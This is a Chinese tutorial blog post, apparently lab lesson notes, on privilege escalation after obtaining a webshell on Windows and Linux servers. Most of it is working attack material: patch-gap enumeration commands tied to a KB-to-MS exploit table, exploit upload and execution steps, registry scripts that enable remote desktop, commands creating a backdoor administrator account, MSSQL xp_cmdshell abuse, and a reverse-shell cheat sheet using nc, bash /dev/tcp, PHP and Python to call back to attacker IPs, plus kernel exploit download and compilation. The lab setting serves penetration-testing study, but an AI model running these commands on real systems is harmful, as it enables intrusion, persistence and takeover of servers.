【CyberSecurityLearning 66】提权

目录

提权

权限提升

水平权限提升(也叫越权)

垂直权限提升

基于webshell的提权

windows提权

系统漏洞提权

演示:win2003下如何提权

提权可能会遇到的问题

演示:win2008下如何提权

数据库提权

反弹shell

反弹shell--windows

反弹shell--linux

Linux提权

利用系统漏洞提权

利用第三方软件

提权辅助脚本

搜索漏洞库


提权


权限提升

水平权限提升(也叫越权)

从同级账户间互相切换身份
比如一个论坛有A、B两个账号普通用户,C是管理员。AB只能发帖和删自己的帖子,而C可以发帖和删所有人的帖子,如果这时候A能够去删B帖子,A就相当于越权

垂直权限提升

就是普通用户获得了管理员的权限
比如从一个Web用户直接提权成管理员用户

关于提权,有很多方法,大的方向分为Windows提权和Linux提权

基于webshell的提权

我们今天讲的提权是基于webshell的提权,也就是说你在研究这个提权之前,前提就是有个webshell

也就是我们在研究提权问题之前,我们需要有一个webshell。

开启一个win2003的服务器(192.168.3.128)---打开IIS

如果对方是IIS,尽量上传一个aspx的木马
由于asp大马权限比较低,我们选择尝试上传aspx的大马

演示:

执行whoami后发现拒绝访问

如果有一个小马,这里拒绝访问怎么办?
上传一个CMD上去(本地上传一个cmd命令)
C:\Windows\System32下有个cmd.exe

发现缺少对象:(因为这个大马的权限比较低)

现在上传一个aspx的大马(asp的大马上传一个aspx的大马)

现在访问cmd.aspx

windows提权

如果目标使用的是套件搭建的网站

比如:phpstudy、xampp、wampserver....

获得WebShell 之后就是系统或管理员权限

宝塔

获得webshell之后的权限待考虑

宝塔的安全防御比较高,一般会禁用很多函数,怎么样考虑绕过?

系统漏洞提权

步骤:先找补丁,再找漏洞,找EXP(漏洞利用程序)

Win2003

信息收集

----win2003
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

----

----2003以上
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
----

括号里面的内容自己添加


---------------关于补丁号和微软MS漏洞对应(也就是说我们如果我们系统中没有修改KB这样一个补丁,那就说明我们系统存在这种MS xxx漏洞)-------------------------

补丁对照:

KB2360937         MS10-084
KB2478960         MS11-014
KB2507938         MS11-056
KB2566454         MS11-062
KB2646524         MS12-003
KB2645640         MS12-009
KB2641653         MS12-018
KB944653           MS07-067
KB952004           MS09-012 PR
KB971657           MS09-041
KB2620712         MS11-097
KB2393802         MS11-011
kb942831            MS08-005
KB2503665         MS11-046
KB2592799         MS11-080
KB956572           MS09-012 烤肉
KB2621440         MS12-020
KB977165           MS10-015 Ms Viru
KB4013081         MS17-017
KB3139914         MS16-032
KB3124280         MS16-016
KB3134228         MS16-014
KB3079904         MS15-097
KB3077657         MS15-077
KB3045171         MS15-051
KB3000061         MS14-058
KB2829361         MS13-046
KB2850851         MS13-053 EPATHOBJ 0day 限32位
KB2707511         MS12-042 sysret -pid
KB2124261 KB2271195  MS10-065 IIS7
KB3198234        MS16-135
KB970483          MS09-020 IIS6
KB3031432        MS15-015

----

CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)

MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)

MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)

MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)

MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)

MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)

MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)

MS15-097 [KB3089656] [remote code execution] (win8.1/2012)

MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)

MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)

MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)

MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)

MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)

MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)

MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)

MS14-070 [KB2989935] [Kernel Driver] (2003)

MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)

MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)

MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)

MS14-002 [KB2914368] [NDProxy] (2003/XP)

MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)

MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)

MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)

MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)

MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)

MS11-080 [KB2592799] [AFD.sys] (2003/XP)

MS11-062 [KB2566454] [NDISTAPI] (2003/XP)

MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)

MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)

MS10-092 [KB2305420] [Task Scheduler] (2008/7)

MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)

MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)

MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)

MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)

MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)

MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)

MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)

MS08-068 [KB957097] [Remote Code Execution] (2000/XP)

MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)

MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)

MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)

MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)

MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)

----------------------------------------

演示:win2003下如何提权

win2003:

systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

我们找到MS09-012了,接下来我们要寻找MS09-012这个漏洞所对应的提权EXP

找EXP:PR提权,我们把PR提权这个程序上传上去:

上传成功后,我们把这个路径复制以下,我们找到cmd命令,用它的cmd调用我们的prok.exe

提权可能会遇到的问题

问题1、无法执行cmd命令(自己上传一个cmd,或者考虑使用aspx大马)

问题2、无法上传提权exp(一般是个exe文件)

原因:目录没有写的权限

考虑哪些目录有写权限?
①日志
②tmp缓存
③回收站
④大马所在目录

问题3、针对windows系统,如果对方没有开启3389端口怎么办,我们可不可以在命令行下开启3389端口?

开启3389端口的操作:

-----------
win2003
-----------
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
-----------
win2003|2008 通用
----3389.bat---
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg

----

问题3、如何创建windows用户

net user hack 123.com /all
net localgroup administrators hack /add

演示:win2008下如何提权

针对windows系统,如果目标使用的是套件

比如:phpstudy、xampp、wampserver....

获得WebShell 之后就是系统或管理员权限

宝塔

获得webshell之后的权限待考虑

宝塔的安全防御比较高,一般会禁用很多函数,怎么样考虑绕过?

所以针对2008(192.168.3.126),我们phpstudy下的提权就不演示了,我们演示一下IIS的

打开win2008的IIS,根目录下上传几个asp的大马,这个网站端口是8000

执行cmd命令,发现可以执行(比较特殊的就是IIS6.0,像IIS7的这些asp脚本都能调用cmd,选择就不用调用aspx的大马)

我们打开一个aspx脚本调用cmd命令看看:

我们尝试提权:

先信息收集:执行以下代码

----2003以上
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

接下来去上传文件,,把我们提权的EXP上传一下,找补丁对照表

KB3031432         MS15-015

上传EXP(MS15-015)

发现写入文件失败(没有写权限

我们找一个有上传写文件的目录(上面提到的几个目录都没上传成功,log和tmp也没有写权限,我们找真正windows的缓存在windows下的temp也没有写权限),这时候我们换个大马试试(asp的大马和aspx的大马权限是不一样的,asp不行的话换aspx试一下)
我们换aspx后缀大马,找到windows下的temp上传,发现上传成功

我们上传后重命名为MS.exe(这一步可以没有)
来到cmd下:

在命令行下开启3389端口操作演示:

----3389.bat--(08/03通用)
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg

将3389.bat上传(在windows的temp下)

上传成功后来到cmd命令

执行3389.bat后查看3389端口开没开(netstat -ano -p tcp)

接下来创建一个用户

创建windows用户

net user hack 123.com /all
net localgroup administrators hack /add

创建成功后,用我们远程桌面连接工具(Microsoft Remote Desktop Beta)连接一下

成功连接!

SAM文件还拿不到,SAM文件需要系统用户权限

数据库提权

MSSQL提取

数据库有一个组件叫xp_cmdshell      我们可以利用xp_cmdshell去执行cmd 命令(我们利用MSSQL提权的时候有很多方法,xp_cmdshell只是其中一种)

提权有个前提条件,就是获取mssql   sa用户的密码

win2003开启一个SQL server服务器

如果这里开启了SQL server的端口,我们本地就可以利用一个工具(SQL tools v2.0增强版

一般选前三个的任意一个就行

这就是MSSQL的提权
关键是你要获取MSSQL的sa用户的密码

mysql 提权

核心思想:利用mysql 执行cmd 命令

udf提权

mof提权

上面两种推荐自己学习(不难)

反弹shell

为什么要反弹shell?因为我们要建立一个持久性连接

基于WebShell 反弹Shell,建立一个持久性的连接

Shell :命令解释器

正向Shell :我主动连接服务器,前提是服务器开启某个端口(ssh端口)

反向Shell :服务器主动连接我们,前提是我们监听某一个端口

windows

nc.exe(网络界的瑞士军刀)

powershell

nc.exe

我:nc -lvvp 1234
服务器:nc.exe -e cmd.exe 10.10.10.20 1234

kali

nc

mac

nc 不行

ncat namp

反弹shell也分windows和linux

反弹shell--windows

nc.exe

(kali)nc -lvvp 1234

服务器(win2008)nc.exe -e cmd.exe 192.168.1.200 1234

windows下,我们利用一款工具叫nc.exe(也叫netcat,是我们网络界的瑞士军刀)

如果想让windows系统主动连接我们,那我们第一种办法是用nc,第二种方法是用powershell

演示一下nc:

由于我们windows系统下没有nc,我们需要把nc上传到服务器上去(我们一2008为例)

我们来到cmd命令

nc.exe

我:nc -lvvp 1234    监听1234端口
服务器:nc.exe -e cmd.exe 10.10.10.20 1234      服务器执行的命令就是让它来连接我们的1234端口

执行后,看一下本地:

反弹shell--linux

我们启动一个centos7

在/var/www/html下创建一个yjh.php(一句话木马)
访问后,用蚁剑连接,打开虚拟终端(Apache用户)

现在我们要做一个反弹shell(这不是已经有shell了吗为什么还有反弹shell?因为一句话木马这个shell是webshell,webshell是通过HTTP协议来传输数据的,这个链接不持久。为什么我们要反弹shell,因为我们要建立持久性连接)

我们linux下反弹shell怎么来做?
看一下有没有nc命令,(有-e参数我们就可以用nc进行反弹,如果没有-e参数,可以用PHP反弹、python反弹、perl反弹....)
这里讲最基本的一种就是用nc反弹

NC 本地监听

[nc -lvvp 1234]

NC反弹

-e 参数可用

[nc -e /bin/bash 192.168.1.150 1234]

-------------------

当我们执行这条命令,出现Ncat: Permission denied.

我们通过查看系统日志

[tail /var/log/messages]

解决方法

原因:selinux的拦截

法:将ncat限制给去掉了

ausearch -c 'nc' --raw | audit2allow -M my-nc

semodule -i my-nc.pp

-----------------

进入交互式shell

[python -c 'import pty;pty.spawn("/bin/bash")']

-e 参数不可用

    [rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.150 1234 >/tmp/f]

BASH

    [bash -i >& /dev/tcp/172.16.132.160/1234 0>&1]
    [/bin/bash -i >& /dev/tcp/172.16.132.160/1234 0>&1]
    [sh -i >& /dev/tcp/172.16.132.160/1234 0>&1]
    [/bin/sh -i >& /dev/tcp/172.16.132.160/1234 0>&1]
    [bash -c 'sh -i &>/dev/tcp/172.16.132.160/1234 0>&1']
    [echo "bash -i >& /dev/tcp/192.168.16.150/777 0>&1" | bash]

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
----reverse.php
<?php
$sock = fsockopen("172.16.132.160", 1234);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
----
    [php /tmp/reverse.php]

Python

----reverse.py
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.132.160',1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
----
    [python /tmp/reverse.py]
    [python3 /tmp/reverse.py]

    进入交互式Shell
    [python3 -c 'import pty; pty.spawn("/bin/bash")']
    [python -c 'import pty;pty.spawn("/bin/bash")']

----

Linux提权

利用系统漏洞提权

内核提权

利用第三方软件

套路比较多

      很难想象

      需要在实战中体会

             dc 系列(dc1-dc8)

                     靶机渗透

                    提权操作

收集系统信息

uname -a

提权辅助脚本:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

wget

[wget http://192.168.1.200:8000/linux-exploit-suggester.sh > les.sh]  脚本放到web服务器当中(网站根目录下)

curl

wget和curl都可以通过发送http请求的方式去下载文件

下载完后给执行权限
chmod +x
linux-exploit-suggester.sh

上面这种方法是找提权EXP

另外一种方式怎么去进行提权呢?搜索漏洞库

搜索漏洞库

Kali 漏洞库

searchsploit centos 7      查找centos7漏洞库
(searchsploit是kali里面的工具,kali为什么牛逼?因为它有本地漏洞库,其他功能别的工具都可以代替)

searchsploit -m 35370

Kali 中开启httpd服务

python -m SimpleHTTPServer 8080

下载35370.c文件

wget http://192.168.1.150:8080/23270.c

运行提权脚本

gcc 35370.c -o exploit -lpthread

./exploit

id

演示:

cat一下发现是用C语言写的。

关于这个漏洞,我们需要把这个C语言脚本上传到我们目标服务器下

怎么把.c脚本上传上去呢?
这个脚本在kali中,.c文件我们要上传到目标服务器上去,我们需要kali中开一个http服务
命令:python -m SimpleHTTPServer 8080(kali中用python开启8080端口)

接下来,我们得把它下载到目标服务器上去wget http://192.168.1.150:8080/23270.c

看脚本的usage去编译:它怎么写你就怎么写

本地先监听一下(nc -lvvp 1234)

打开蚁剑:

我们还得进入交互式

    进入交互式Shell
    [python3 -c 'import pty; pty.spawn("/bin/bash")']
    [python -c 'import pty;pty.spawn("/bin/bash")']

编译:gcc 35370.c -o exploit -lpthread

gcc 35370.c -o exploit -lpthread

./exploit

id

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值